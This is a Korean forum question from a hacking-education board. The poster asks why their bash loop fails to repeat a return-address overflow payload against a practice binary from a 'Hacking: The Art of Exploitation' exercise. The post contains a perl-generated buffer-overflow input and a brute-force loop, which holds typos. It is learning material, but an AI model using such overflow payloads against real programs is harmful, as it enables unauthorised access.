|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3445 [복사]
자동으로 숫자를 대입해서 결과값을 출력받으려고 간단하게 짜보기는 했는데 에러만 뱉어내내요....
원하는 결과
$./a.out $(perl -e 'print "\xbf\x84\x04\x08"x10')
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
근데.... 이걸 해보려고 하는데 잘안되는게 있어서 질문드립니다.
Q.1 원래 $(perl -e .....) 와 'perl -e .....' 는 결과 값이 같은 것으로 알고 있습니다. 근데 Linux 2.6.20-15-generic에서는 잘 안되더군요;;;;; (왜이러지... 요즘 나온것에서는 이런거 없이 잘 쓰고 있는데 해킹의 예술? live CD 해보려니 잘 안되내요...)
Q.2
첫번째로 시도해본 명령어 사용 & 결과
$for i in $(seq 0 1 10)
>do
>echo trying $i
>./a.out 'print -e 'print "\xbf\84\x04\x08"x$i''
>done
trying 1
access denide.
trying 2
access denide.
trying 3
access denide.
trying 4
access denide.
trying 5
access denide.
trying 6
access denide.
trying 7
access denide.
trying 8
access denide.
trying 9
access denide.
trying 10
access denide. //여기에서 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
를 원했는데... 그게 안되내요.... 뭐가 문제가 있는건가요???
혹시 구문사용에서 문제가 있는건가요? 고수님들의 답변 기다립니다.
|
Hit : 3523 Date : 2012/06/26 10:29
|